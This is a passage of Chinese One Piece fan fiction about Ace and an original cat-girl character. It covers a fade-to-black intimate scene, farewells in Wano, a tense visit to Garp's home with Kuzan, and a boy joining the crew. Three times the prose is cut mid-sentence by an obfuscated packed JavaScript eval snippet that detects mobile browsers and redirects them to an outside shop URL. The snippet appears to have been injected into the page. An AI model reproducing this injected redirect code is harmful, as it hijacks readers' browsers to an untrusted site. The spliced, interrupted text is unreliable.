艾斯从善如流,配合地微微启唇。得到允许的小猫舌尖怯生生又带着好奇地探了进来。 到了这一步,小狸自己反而先害羞起来,脸颊烫得惊人。但想到刚才打的赌,那点可怜的胜负欲又占了上风。她努力回忆着其实都是从艾斯那里学来的少得可怜的接吻技巧,轻轻地,用舌尖舔过他的上颚。 “嗯……”艾斯喉间溢出一声极轻的闷哼,身体难以自控地战栗了一下。这主动得可怕的小猫,简直是在他理智的边缘疯狂点火……他几乎要用尽全身力气,才能压制住想要立刻反客为主、狠狠加深这个吻的冲动。他更想知道,他的小狸,为了“赢”,能做到什么地步。 小狸见艾斯居然还能忍住不动,心里那点不服输的劲头更盛了。她心一横,舌尖小心翼翼地向前,试探着去碰触艾斯那炙热而柔软的舌。 当两者真正接触到的那一刻,如同触电般,小狸自己先被那过于亲密的触感吓得缩了一下。巨大的羞涩感瞬间如潮水般将她淹没——我到底在做什么啊!!! 她刚想从这个过于危险的游戏中撤退,从艾斯身上爬起来,然而已经晚了。 忍耐已久的猎人,怎么可能放过自投罗网的猎物? 艾斯一直举在头顶的手瞬间落下,一只大手稳稳地扣住她的后脑,阻止了她的逃离。另一只手则紧紧环住她的腰,将她彻底固定在自己身上。 紧接着,他那滚烫的舌便反客为主,霸道地卷住了她企图撤退的舌,开始了肆无忌惮的攻城略地。他吮吸着她的舌尖,纠缠着她的柔软,这个吻带着铺天盖地的热情和压抑已久的渴望,仿佛要将她拆吃入腹般深入而缠绵。 “呜……嗯……”小狸被这突如其来的猛烈反击弄得措手不及,只能发出细微的呜咽,大脑彻底宕机,全身软得不像话,完全沦陷在艾斯主导的炽热风暴中。 直到她感觉自己快要窒息,艾斯才终于肯放过她,结束了这个漫长而深入的吻。 “哥哥……”小猫的声音软糯得不像话,像是撒娇,又像是求饶。 那一声“哥哥”叫得艾斯的心狠狠痒了一下。他翻身,手指抚上了身下“可口点心”柔软的大腿,目光暗沉,把之前没做完的事做了个彻底 …… 不知过了多久,房间里终于安静下来。小狸双眼迷蒙,泛着潋滟的水光,脸颊红得像熟透的苹果,趴在他身上大口大口地喘着气,浑身都脱了力。 缓过神来,她气呼呼地、没什么力度地张口在艾斯坚实的肩膀上咬了一下,声音又软又糯地控诉:“耍赖!说好了不许动的!” 艾斯胸腔震动,发出低沉而愉悦的笑声,带着事后的沙哑和满足:“你赢了啊。” “诶?”脑子还晕乎乎的小狸反应了半天,才转过弯来——对哦,艾斯刚才动了!所以……是自己赢了? 看到小猫终于回过味来,艾斯忍着笑,伸手在黑暗中准确地将还处于“计算得失”状态的小猫捞进怀里,调整好姿势躺下。 小狸不甘心地又在他胸口咬了一下,这次连牙印都没留下。“艾斯坏心眼!”她闷闷地指控。 “嗯嗯,我坏心眼。”艾斯从善如流地承认,大手有一下没一下地抚摸着她的后背和长发,像是在给一只炸毛的猫咪顺毛。 “大坏蛋!”小狸在他怀里找了个最舒服的位置,声音渐渐变小,带着浓浓的睡意,却还不忘强调,“不过……是我赢了哦……” “嗯,离开和之国,我们就回风车村吧”艾斯的声音温柔得能滴出水来,在她发顶印下一个珍重的晚安吻 “你听到了啊……我还故意说的很小声……”小狸的声音越来越小,慢慢变成均匀清浅的呼吸声,终于心满意足地进入了梦乡。 艾斯收紧手臂,在黑暗中无声地笑了 晚安,我的小狸。 第二天正午,阳光正好,炎雀号停靠在码头边,风帆已经半张,随时准备起航。二番队的队员们陆续登船,行李和物资都已搬运完毕,只等几个人上船就能离开了。 小狸站在栈桥上,手被小玉紧紧拉着。 小女孩今天穿着精致,头发梳得整整齐齐,但眼眶红红的,像只舍不得主人离开的小兔子。 “小狸姐姐,”小玉仰着脸,声音有点哽咽,“你们什么时候再来?” 小狸看着她那双湿漉漉的眼睛,心里软得一塌糊涂。 “呃……”她想了想,认真地思考这个问题。什么时候再来?好像确实没想过,这次来和之国是临时起意,下次…… 她眼睛一转,笑眯眯地把这个困难的问题抛给了艾斯“等下次艾斯又想来看你的时候我们就回来啦~” 小玉眨眨眼睛,立刻抓住了这个回答里的关键。 “那艾斯大哥什么时候会想来看我?” 小狸被她这直接的追问逗笑了,她推了推小玉的肩膀,笑眯眯地说:“这你要问他呀。” 小玉立刻转身,噔噔噔跑到艾斯面前,一把抓住他的衣角。 “艾斯大哥!” 艾斯被这突如其来的拉力拽得一低头,就对上小玉那双眨巴眨巴的大眼睛。 “什么时候会想来看我?” 艾斯愣了一下,然后笑了。 他蹲下身,和她平视,想想自己要说的话又觉得有点好笑,满眼都是笑意 “等你长成妖艳的女忍者的时候。” 小狸瞪了他一眼,狠狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大和不知何时走了过来,站在她身边,一起望着那片已经空无一物的海面。 “有点寂寞吧” “有一点。”小玉诚实地说。她低下头,看着自己的手,刚才一直挥着,现在有点酸,但她的脸上还挂着笑容。 “但是他们还会来的!”她抬起头,眼睛亮晶晶的,“艾斯大哥答应我了!而且小狸姐姐也说,等艾斯大哥想来看我的时候就会来!” “你怎么知道艾斯什么时候会想来看你?”大和好奇地问。 “因为……”小玉想了想,然后露出一个大大的笑容,“因为他是艾斯大哥啊!他说到做到的!” 大和愣了一下,然后笑了。 “嗯,他是个说到做到的男人啊。” 那片越来越小的帆影现在已经完全看不见了,只有无尽的海天相接。 “真好啊,”她轻声说,语气里带着一丝向往,“能在大海上自由来去。” 小玉仰起头,看着大和“大和姐姐也想出海吗?” “想啊。”大和毫不犹豫地说。 她低头看向小玉,笑了。 “但不是现在。” “那是什么时候?” “等和之国真正站稳脚跟的时候,”大和说,“等桃之助能独当一面的时候,等你长大一点的时候,等……”她顿了顿,望向远处,“等我觉得可以放心离开的时候。” 她伸出手,轻轻揉了揉小玉的头“现在我要和你一起守护和之国。” 小玉看着大和那张被海风吹得微微眯起眼睛的脸,阳光落在她们身上,暖洋洋的,她忽然觉得,和之国真的变好了。 以前凯多统治的时候,街上到处都是武士的巡逻队,平民不敢大声说话,孩子们不能在外面玩,海面上永远弥漫着工厂的黑烟,连呼吸都觉得闷。 而现在,海风是清新的,天空是蓝的,街上到处都是笑声。 桃之助大人在慢慢学着做一个好将军。大和姐姐每天都在巡逻,保护着大家。她自己也能安心地练习忍术,等着成为“妖艳的女忍者”的那一天。 “大和姐姐”小玉忽然说,“等我成为女忍者之后,我也要出海看看。” “哦?”大和低头看她。 “去看看艾斯大哥和小狸姐姐生活的那片海,去看看你说的那个宽广的世界。”小玉握紧小拳头,“然后回来,告诉大家外面是什么样的!” 大和看着她认真的小脸,忽然笑了“好,到时候我们一起。” 小玉伸出手,小指翘得高高的。 大和愣了一下,然后也伸出小指,和她勾在一起。 “一言为定。” 134.海军再就业风车村支部[番外] 和大家简单的商量了一下后,炎雀号像是海上的街溜子,肆无忌惮地向东海前行。 说是肆无忌惮一点也不夸张。这艘挂着白胡子海贼旗的船,一路上遇到的海贼船远远看见就调头跑,商船则欢天喜地地凑过来送补给,能和白胡子海贼团攀上关系那可是求之不得的好事。至于海军?不知道是运气好还是故意躲着,愣是一艘也没碰上。 “这也太无聊了。”丢斯趴在船舷上,有气无力地说,“连个抢劫的都没有。” “你要当抢人的还是被抢的?”米娅白了他一眼。 “我是个作家”丢斯理直气壮,“我需要素材!素材懂吗?没有素材我写什么?写海上天气观察日记吗?” 小狸蹲在桅杆上,尾巴悠闲地晃来晃去。她已经很久没有回东海探望卡普了,上一次分别还是强行把强尼、肯和他们的哥哥乔治塞给卡普“帮忙照顾”。她和艾斯被老爷子追了一路,最后几乎是丢给卡普就跑了,完全没给老爷子拒绝的机会。 再上一次是艾斯带着她跑路几乎把爷爷家都搬空了…… 小狸越想越心虚,尾巴尖都蜷起来了。 “艾斯——”她从桅杆上跳下来,落在艾斯身边,耳朵耷拉着,“爷爷……他不知道消气了没有?” 艾斯正靠在船舷上晒太阳,听到这话,脸上的笑容僵了一瞬,他自己也心虚得厉害。 “老爷子……没这么小气吧?”他试探性地说,但语气明显底气不足。 “咱们上次可是直接把那三兄弟扔给爷爷就跑了。”小狸掰着手指头数,“再上次是卷了他家当跑路,再再上次……” “行了行了,”艾斯赶紧打断她,不想继续回顾自己的“光辉历史”,“养几个小孩而已嘛,对老爷子来说小菜一碟。” “你当是养小猫小狗啊!”小狸瞪他,“照顾小孩很辛苦的好不好!” 艾斯愣了一下,然后勾了勾嘴角,露出一个幸灾乐祸的笑容。 他想起自己和路飞小时候的那些经历和老爷子离谱的育儿观“就老爷子那个养法,”他慢悠悠地说,“与其担心老爷子,不如担心那三兄弟。天知道我们是怎么活下来的。” 小狸听他这么说,也想起了那段“魔鬼训练”的时光。 卡普的训练方式简单粗暴——先挨揍,再从挨揍中学习怎么不挨揍。她和艾斯每天被揍得满身是伤,老爷子还一边揍一边哈哈大笑:“连爷爷都打不过,还想当海贼?笑死人了!” 小狸打了个冷战,尾巴毛都炸开了。 “这次我们人多。”她犹豫了一下,看向甲板上那群正打牌的打牌、晒太阳的晒太阳、睡觉的睡觉的队友,“能……能跑掉吧?” “人多有什么用?”艾斯看着天真的小猫,忍不住笑了,“那可是爷爷啊。” 他顿了顿,看她那副尾巴炸毛的样子,故意逗她:“你要是实在害怕,要不我们掉头?” “才、才不怕呢!”小狸立刻挺起胸,但抖个不停的耳朵出卖了她。 她的眼睛转了转,忽然想到什么,整个人又活了过来。 “爷爷就是面上凶了点而已嘛,”她自我安慰地说,“这次我有带礼物的!” 她从怀里掏出一个包裹,打开给艾斯看,包装精美,一看就很好吃。 “我在和之国专门挑的!”她得意地说,“爷爷应该……至少在揍我的时候,会轻一点吧?”她笑着戳戳艾斯的手臂“求情可没有你的份哦~” “给我吃一口。” “都说了是给爷爷带的啦!你又不是没吃到!” “就一口,爷爷不会发现的。” “才不给呢,你吃一口就没了!” 炎雀号在风车村的海岸缓缓收帆靠了岸,这里和记忆中一样安静,金色的沙滩,绿色的山坡,巨大的风车散落在村庄各处,一切都那么平和。 按理说,海贼船是不该这么明目张胆地靠岸的,但这里是风车村,海军英雄卡普的故乡。方圆几百里,没有一个海贼敢来这里撒野,也没有一个海军会来这里找事。村民们对船只靠岸早就习以为常,尤其是当他们看清船上那两道熟悉的身影后,更是热情地挥起了手。 “艾斯!小狸!回来啦!” “好久不见啊!” 艾斯笑着挥手回应,然后带着大部队往玛琪诺的酒吧方向走,一群人浩浩荡荡,像极了来旅游的游客。 只有一个人没有跟上队伍,小狸猫着腰,鬼鬼祟祟地往另一个方向摸去,那是卡普家的方向。 卡普的院子还是老样子。 木栅栏围起一小片空地,院子里晒着几件衣服,还有一个种满花草的小花坛。几只鸡在角落里悠闲地啄食,看到小狸进来,只是抬了抬头,又继续低头忙自己的。 她轻手轻脚地靠近屋子,扒在窗户上往里望,房间里没有人。 透过玻璃,她看到屋里的摆设还是老样子,那张硬木板床,那套旧旧的茶几,墙上挂着一件大衣。茶几上放着一盘吃了一半的水果和甜甜圈,旁边还有一张照片,那是她寄给卡普的那张艾斯穿着一身海军制服的照片 小狸忍不住笑了,老爷子真是嘴硬心软。嘴上骂着“不肖子孙”,其实却把这些小东西都留着。 她看看四周,确认没有人后“噗”的一声变成了小黑猫。小小的黑色身影从窗户缝隙里灵活地钻了进去。 小黑猫落地后抖了抖毛,开始在房间里转悠。这里闻闻,那里蹭蹭,到处都弥漫着爷爷的气息,让她莫名安心。 她看到自己之前用过的那个抱枕,还放在窗边那个阳光最好的位置。小黑猫眼睛一亮,轻盈地跳上去,在上面踩了踩,转了几个圈,然后舒舒服服地趴下来。 阳光透过窗户洒在身上,暖洋洋的。她眯起眼睛,准备在这里等爷爷回来,给他一个惊喜 “吱呀——” 房门突然被推开了。 “爷——”小黑猫下意识就要扑过去,但后半个字硬生生卡在喉咙里。 门口的哪里是卡普那张慈祥的脸? 来人个子很高,黑色卷发,圆框眼镜,头顶还带着一顶奇怪的帽子,长手长脚,左边裤腿里还透出丝丝寒意……那是海军大将青雉啊!!! 小狸浑身的毛“唰”地炸开了,后背拱得老高,尾巴粗得像根毛刷。她瞪大眼睛盯着门口那个高大的身影,脑子里一片空白,为什么青雉会在这里啊!!! 库赞走进来,看到窗边那只炸成毛球的小黑猫,微微挑了挑眉。 “哦呀?”他的语气懒洋洋的,像是在和一只普通的小猫说话,“小猫从哪里进来的?不要弄坏东西哦。” 小狸一点都不敢动。 她的身体绷得像一根弦,脑子里飞速运转。他没有认出我,他没有认出我,他一定没有认出我……只要挺到爷爷回来,只要不暴露身份,说不定还有机会…… 库赞从她身边走过,不知道为什么手里拿着一个洒水壶。 小狸的目光追随着他,看他把洒水壶放在了窗台下面,动作自然得像是在自己家一样。 “小猫,”他忽然开口,语气依旧懒洋洋的,但说出来的话让小狸的血液瞬间冻结,“马林梵多时受的伤,已经全好了么?” 完全已经被认出来了啊!!! 小狸把自己缩成毛茸茸的一团,耳朵紧贴头皮,尾巴紧紧蜷在身下,努力降低存在感。她不敢接话,不敢动,连呼吸都放轻了。 库赞扭头看向她。那双隐藏在镜片后的眼睛里没有恶意,只有淡淡的好奇和……关心? 小狸不知道他在想什么,她只知道自己的心脏快要从嗓子眼跳出来了,就在她快要绷不住、准备夺路而逃的瞬间,一个让人无比安心的声音打破了寂静 “库赞!花都浇完了么?” 卡普那熟悉的大嗓门从院子里传来,紧接着是重重的脚步声。 “战国那老家伙这两天不在,要是把他的花养死了我又要被念叨——” “爷爷!!!!” 小黑猫发出一声几乎是带着哭腔的尖叫,用最快的速度朝门口扑去,一道黑色的影子划过一条弧线,精准地撞进卡普怀里。 卡普下意识接住她,低头一看,惊喜地喊了一声: “小狸?!” 但下一秒,他就看到了怀里的小猫那副样子,眼泪汪汪、委屈巴巴,整只猫缩成一团瑟瑟发抖,像是刚被什么可怕的东西吓到了。 卡普的眉毛立刻竖了起来,抬头瞪向库赞: “库赞你这小子做了什么?!为什么把老夫的宝贝孙女吓成这样?!” 库赞站在门口,一脸无辜地摸了摸下巴。“老师,我刚浇完花回来,还什么都没有做啊。”他顿了顿,补充道,“我好心问了问她身体状况。” 他真的很委屈。自己只是站在那里,那只小猫就吓成那样。难道自己长得很吓人吗? 卡普低头看了看怀里还在发抖的小黑猫,又抬头看了看一脸无辜的库赞,嘴角抽了抽,嫌弃的表示 “……你站那儿就是挺吓人的。” “……” 老师?小狸从卡普怀里探出脑袋,好奇地打量着库赞。 这是她第一次这么近距离、安安静静地观察一个海军大将。上一个她这么近距离接触的大将是赤犬,当时差点要了她的命。 库赞察觉到她的目光,微微侧过头,冲她点了点头,表情依旧懒洋洋的。 小狸赶紧把头缩回去。 “总的来说,库赞也是老夫的弟子。”卡普抱着小黑猫往里走,一边走一边解释,“这小子当年还是小兵的时候,可没少挨我的揍。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199694|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老师”库赞跟在后头,语气依旧懒散,“在小朋友面前给我留点面子。” “哼,你还有面子这东西?” 小狸听着这师徒俩的对话,渐渐放松下来。 小狸把从和之国带回来的特产拆开摆好,一脸讨好的递到卡普嘴边。老爷子吃得津津有味,嘴边还沾着点心渣。库赞在一边泡茶,热气袅袅。小狸依旧紧紧贴着卡普坐着,一动不敢动,直到库赞把茶杯放到她面前她才没法拒绝的端起茶杯,小心翼翼地抿了一口。 海军大将亲手泡的茶,这辈子没想过会有这种体验。 库赞坐在对面,手肘支在膝盖上。他看到小狸那副拘谨的样子,主动开口打破沉默: “不用这么紧张,我只是来拜访老师而已。住一段时间就走。” 小狸紧绷的身体放松了一点,但眼睛还是滴溜溜地转,不知道该说什么,也不知道该怎么称呼这位海军大将。 “库赞先生……”她试探着开口,“为什么有空在风车村?” “不用叫先生,直接叫库赞就好。”库赞的语气依旧懒洋洋的,“我已经不做海军了,现在是个无业游民,来老师这里蹭点饭吃。” 小狸眨眨眼:“哎?库赞……先生不是大将吗?可以随便辞职的么?” 库赞看了卡普一眼,老爷子没有要接过话头的意思,只是专心吃着点心。 他点了点头“嗯。”似乎是为了缓和气氛,他主动抬了抬自己残疾的左腿“一不小心丢了一条腿,被扫地出门了。” 他说的轻松,哪怕是小狸都听出了他在逗她,他顿了顿,又补充道:“是叫小狸对吧?之后就好好相处吧。” 气氛还是有些尴尬。 卡普咽下嘴里的丸子,终于开口问出了他最关心的问题: “小狸,你都回来了,那艾斯那个混小子呢?” “哥哥也回来了。”小狸老实回答,但还是下意识看了库赞一眼。她依旧不太信任这个前.海军大将,眼神有些飘忽。 卡普注意到她的犹豫,没有催促,只是温柔又坚定的看着她,目光坚定而温暖,带着一丝鼓励和信任,仿佛在说没关系,他是自己人。 小狸接收到这个信号,终于放松下来 “他送大家去玛琪诺姐姐的店里吃饭了,一会儿就过来。” 话音未落,艾斯的声音从院子里传来,带着他面对卡普时特有的那种欠揍的调侃。 “爷爷,你想我了啊?” 小狸还没来得及反应,突然眼前一花,卡普已经消失在她面前。 下一秒,艾斯的惨叫声从院子里炸开。 “痛死啦爷爷!你干嘛啊!!!” 小狸探头去看,院子里,卡普正一手揪着艾斯的衣领,另一只手高高举起,“爱之铁拳”精准命中,艾斯被砸得整个人往下一矮,捂着脑袋惨叫。 “你还好意思问!?”卡普的声音洪亮得像打雷,“你当你做的那些破事都过去了么?!” “你也太小心眼了吧爷爷!”艾斯一边躲一边喊,但根本躲不开。 “这难道是小心眼的事么!?”卡普追着他打,每一步都踏得地面一震,“你们两个小混蛋,给老夫扔下三个小鬼转身就跑!在那之前还把老夫家都要搬空了!不打声招呼就跑,不是说老夫追不上你了么!?啊!?” “你也太记仇了爷爷!” 回应他的是又一记铁拳。 小狸偷偷降低存在感,一点一点往后退。幸好老爷子的怒火不是冲着自己来的。 她退到门边,一扭头,正好对上库赞的目光。 库赞也站在门口,看着院子里那“温馨”的爷孙互动,脸上带着一种……庆幸的表情。 两人对视一眼,小狸在他眼中看到了和自己一模一样的东西——幸好挨打的不是我。 革命友谊,在这一刻悄然建立。 “爷爷的身体,还真不错啊。”小狸感叹。 “是啊”库赞点点头,语气里带着由衷的佩服“以老师这个年纪,算是相当健康了。” 两个人看着院子里被卡普摁在地上摩擦、毫无反抗之力的艾斯,同时端起茶杯,悠闲地喝了一口。 “库赞……先生,”小狸想了想,还是加上了敬称,“你泡的茶真好喝。” “谢谢。” “我还认识一个泡茶也很好喝的人,她叫妮可.罗宾,是路飞的同伴” 库赞微微低了头,没有回应,只是嘴角似乎微微勾了起来 院子里,艾斯的惨叫声还在继续。 “爷爷!我错了!我真的错了!” “哼!现在知道错了?晚了!” 小狸和库赞对视一眼,同时移开视线,继续喝茶。 阳光正好,微风不燥,真是岁月静好 135.新船员和爱哭鬼[番外] 艾斯被爷爷胖揍了一顿后,老爷子终于消了气,与其说是消气,其实更像是打累了。艾斯揉着脑袋从地上爬起来,嘴里还不消停地嘟囔着什么“为老不尊”“下手太狠”之类的话。 “嘀咕什么呢?”卡普眼睛一瞪。 “没什么没什么!”艾斯赶紧摆手,视线下意识的去寻找他家那只小猫,此刻正和一个人站在一起。 那个人个子很高,黑色卷发,圆框眼镜,左腿透着丝丝寒意……海军大将青雉!? 艾斯的瞳孔骤然收缩,火焰几乎是在同一瞬间从他周身爆起,橙红色的光芒映亮了整个院子。他的右臂抬起,整个人如同一张拉满的弓,下一秒就要冲过去 “小狸!!!” 他的声音里带着急切,可是定睛看去小狸却完全没有紧张的神情,甚至悠闲地和库赞一人举着一个茶杯,反而是听到他的声音后才露出一丝惊慌,艾斯的动作顿住了。 “喊什么!吵死了!” 卡普一巴掌拍在他后脑勺上,把他刚燃起的火焰拍灭了大半。 “这是老夫的家,还能出什么事不成?”老爷子吹胡子瞪眼,“我看倒是你要把老夫的房子点了!” 艾斯被拍得一个趔趄,没收住力趴在地上。他从地上坐起来,揉了揉脑袋。老爷子的攻击永远往头上招呼,他现在还感觉脑袋里嗡嗡作响。 小狸已经跑了过来,弯下腰看着他,蔚蓝的眼睛里带着关切:“艾斯,你还好吧?” 艾斯委屈地看了卡普一眼,卡普则已经大摇大摆地进了屋,完全不理他。 一只手伸到了他面前,艾斯抬头,对上一张懒洋洋的脸。 库赞站在他面前,伸出一只手,那表情像是在说“要不要随便你”。艾斯犹豫了一瞬,还是拉住了那只手,被他拉了起来。 “好久不见,火拳艾斯。”库赞的语气依旧懒散。 艾斯的表情有点僵硬。他勉强扯出一个笑容:“嗯……”他的视线不受控制地落在库赞的左腿上——那条裤腿里透出的寒意,让他想起关于这位前大将的一些传闻,但他没有询问,因为小狸已经跑过来拉住他,把他往屋里拽。 话说开了之后,艾斯的反应比小狸自然多了。 他完全不长记性地从卡普手里抢点心吃,被老爷子瞪了一眼也不怕。小狸的尾巴轻轻拍了他一下,收敛点,一会又要挨揍了。艾斯却恍若未闻,明明桌子上还有不少,却故意要抢卡普手里的,弄得卡普的脸色越来越黑。 小狸默默往外挪了挪,避免待会儿殃及池鱼。 “对了,爷爷。”她想起什么,往院子里张望了一下,“那三兄弟呢?乔治他们,我一直没看到。” 她看向卡普,眼神里带着一丝质疑:“你不会又把他们扔给达旦,住在山贼之家了吧?” “才没有呢!”卡普嚼着点心,那姿态和艾斯几乎是一个模子刻出来的,“他们三个可比路飞他们三个省心多了。” 他咽下嘴里的点心,继续道:“老大乔治被小鹤带走了,说他是个好苗子。现在应该是在‘利刃’和小鹤的孙女孔雀一起训练吧?”他探寻地看向库赞。 库赞正端着茶杯喝茶,被卡普这么一看,点了点头。对于已经退出海军的他来说,在两个海贼面前讨论海军的秘密部队,毫无压力。 “是的。”他说,语气依旧懒洋洋的,“那小子有一双好手。听鹤中将说,他很受重视,提升军衔也是时间问题。” 卡普赞许地点点头,脸上带着那种有荣与共的骄傲,虽然乔治不算他的孙子,但他早就把那三兄弟当自己人看了。 “剩下那两个小子年纪有点小,”他继续说,“小鹤本来也想一起带走的。但是那两个家伙,一个一心要去找他厉害的师傅当海贼,一个要留在风车村不走了,这个时间,不知道在哪里疯呢。” 小狸听到三兄弟的近况,终于放下心来,她甚至有点骄傲地摸了摸鼻子:“嘿嘿,我也没那么厉害啦~”她的尾巴在身后得意地晃了晃,然后想起了什么看向艾斯:“那我们这次要带肯一起走吗?” 艾斯还没来得及回答,卡普已经抢先开口:“肯可不会和你们走的。” 小狸疑惑的眨眨眼。 “那小子在村子里混得风生水起,”卡普说这话时,嘴角带着一丝笑意,“天天在村子里转悠,帮这家干点活,帮那家跑个腿,现在已经是村里的红人了。前几天还扬言要竞选村长呢。” 小狸愣了一下。肯?竞选村长?她一时有些恍惚。 “那要当海贼的是……” “强尼。”卡普说。 强尼?小狸更意外了。她想起那个有点腼腆、戴着眼罩、说话会脸红的男孩。当初在巷尾,就是他和肯一起跟踪她和艾斯,说要打败他们换取赏金救大哥。 那个害羞的孩子,现在要当海贼? 玛琪诺的酒吧还是老样子,木质的吧台,暖黄的灯光,空气中飘着食物和酒的香气。几个船员坐在里面闲聊,看到艾斯和小狸进来,热情地挥手打招呼。 小狸的目光在酒吧里扫了一圈,很快就锁定了那个熟悉的身影,强尼。 他长高了不少,也长胖了,看起来健康多了。当初那营养不良的瘦弱模样已经完全不见了,取而代之的是一个脸颊红润、眼神明亮的男孩。 此刻他正端着托盘穿梭在桌椅间,给二番队的队员们送吃的。动作虽然还有点生涩,但脸上的笑容很灿烂。 小狸刚踏进门,强尼就看到了她。 他愣了一下,然后把托盘往最近的桌上一放,他整个人像颗小炮弹一样冲了过来,在小狸面前急刹车站定。 “师傅!!!” 小狸伸手拍了拍他的脑袋“好久不见,强尼。” 强尼的眼眶有点红,但他努力憋着,露出一个大大的笑容。然后他忽然意识到什么,有点扭捏地低下头,手指绞在一起。 小狸发现大家都在看她,二番队的队员们,玛琪诺,大家都带着友善的笑。 强尼似乎有话想说,但又不知道怎么开口,而小狸已经猜到他想说什么了。她故意不接话,只是笑眯眯地看着他,尾巴在身后悠闲地晃了晃。 强尼深吸一口气,像是终于鼓足了勇气“师、师傅!”他的声音有点抖,但很认真,“我可以和你一起走吗!” 小狸看着他紧张的样子,笑意更深了“可以哦~” 强尼愣了一秒然后整个人蹦了起来,他在原地又蹦又跳,完全忘了刚才那副腼腆扭捏的样子,终于多了一丝小孩子的稚气。 “万岁!!!” 二番队的队员们看着这个兴奋的男孩,都露出善意的笑容。 小狸拍了拍他的肩膀:“那从今天起,你就是我们的伙伴啦,‘见习船员’。” “说的对,”另一个队员接话,“可要好好表现啊,过不了实习期我们就把你送回来。” “别吓唬孩子啊你们几个!”有人笑骂。 强尼完全没被吓到,反而更兴奋了。他眼睛亮晶晶的,急切地问:“我、我需要做点什么!” 几个队员对视一眼,坏笑着开口: “比如每天擦甲板啊,洗碗啊……” “顺手再把衣服也洗了。” “每天给前辈捶捶背啊……” “不如我来给你捶捶背啊!” 米娅一人一拳,精准命中那几个越说越离谱的家伙,几个人抱着脑袋哀嚎,老实了。 强尼被米娅的气势震住了,瑟缩了一下,米娅弯下腰,冲他露出一个和善的笑容:“不用管他们几个。你就从最基础的做起就好。在船上生活很不一样的,见习也是给你自己一个机会,随时可以反悔哦。” “不会反悔的!”强尼握紧拳头,眼睛亮得惊人,“我要做和师傅一样厉害的人!” 小狸被这么直白的肯定,反而有点不好意思了。“我也不知道我能教你什么。”她挠挠头,她的战斗方式以体术为主,靠的是猫科动物的敏捷和本能,完全不适合这个天赋异禀的男孩。强尼的才能,在她看来,应该往另一个方向发展。 “强尼,”她忽然说,“我把我的老师介绍给你吧。” 强尼的眼睛更亮了:“是米哈尔老师嘛!?师傅提到过的——”他四处张望,试图在人群中找到那个他从未见过、但一直很向往的身影。 “米哈尔老师不在这里。”小狸被他的急切逗笑了,拉着他在吧台边坐下,很自然地接过玛琪诺递过来的果汁,畅快地喝了一口,“他不喜欢出门,平时都是守船的。”她放下杯子,继续道:“你放心,米哈尔老师很好说话的。他的枪法很厉害,也很有学问。你和他不仅可以学枪法,还可以学很多书本上的东西。” 强尼用力点头,脸上满是期待,小狸看着他,忽然想到什么。“不过强尼,这样的话,你们三个不是又分开了吗?没关系吗?” 强尼愣了一下,他低下头,沉默了一小会儿,随后又抬起头,眼睛依旧是亮晶晶的。 “虽然会有点寂寞,”他说,声音轻轻的,却很坚定,“但是我们三个讨论过的。只要心还在一起,就一定还会重逢的。”他握紧拳头,像是要把这句话刻进心里“我们都会自由的活着的!” 艾斯坐在吧台前,看着强尼红扑扑的小脸,眼神里满是怀念。他忽然开口,带着调侃的语气 “我才是炎雀号的船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208481|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长吧?同不同意他上船,不是我说了算么?” 强尼猛地转头看向他,脸上的表情精彩极了。 那表情分明在说:什么?那个傻乎乎的大哥哥原来还是船长么?! 小狸看到他的表情,忍不住“噗”地笑出声,笑得直拍吧台。 艾斯被他的表情气笑了“我不同意!” 几个坏家伙立刻跟上: “怎么办啊,船长不同意可不行啊。” “对啊对啊,你摊上大麻烦了。” “那家伙可是很不好说话的,很凶的。” 艾斯自己都不知道原来自己“权利”这么大。他冲着那几个看热闹不嫌事大的家伙做了个鬼脸。现在知道我是船长了?之前把他塞进炉子里当火源用的时候怎么不说? 强尼求助地看向小狸,小狸冲他耸耸肩,声音里带着笑意:“没错哦,这件事船长说了算。” 强尼的脚蹭了蹭地板,在大家看好戏的目光中,他走到艾斯面前。艾斯翘着腿,一只手肘支在吧台上,居高临下地看着他。 强尼深吸一口气,然后猛地弯下腰,深深地鞠了一躬。 “我想成为可以让兄弟们骄傲的人!”他的声音有点抖,但每一个字都清清楚楚,“拜托你了,船长!” 他没有直起身,所以他没有看到艾斯那好笑的眼神。 艾斯故意拖长声音:“怎么办才好呢~你们说呢?” “拜托了!!!”强尼的声音已经带上了哭腔。他觉得长这么大,从来没有这么紧张过。 “噗——” 艾斯没忍住,笑出了声,一只手忽然摁在强尼的脑袋上。 强尼疑惑地抬起头,对上一双满是笑意的黑眼睛。 艾斯已经转身,冲着身后大喊:“玛琪诺姐,快上酒!伙计们,庆祝新成员啦!” 强尼愣住了,他瞪大眼睛,看着艾斯的背影,看着周围那些忽然欢呼起来的人们,看着小狸冲他眨眼睛,眼眶忽然一酸。他努力瘪了瘪嘴,想忍住,但没成功。 “哇——” 他哭了,哭得稀里哗啦,眼泪鼻涕一起流。 艾斯吓了一跳,手忙脚乱地从椅子上跳下来,不知所措地看着这个忽然大哭的男孩。 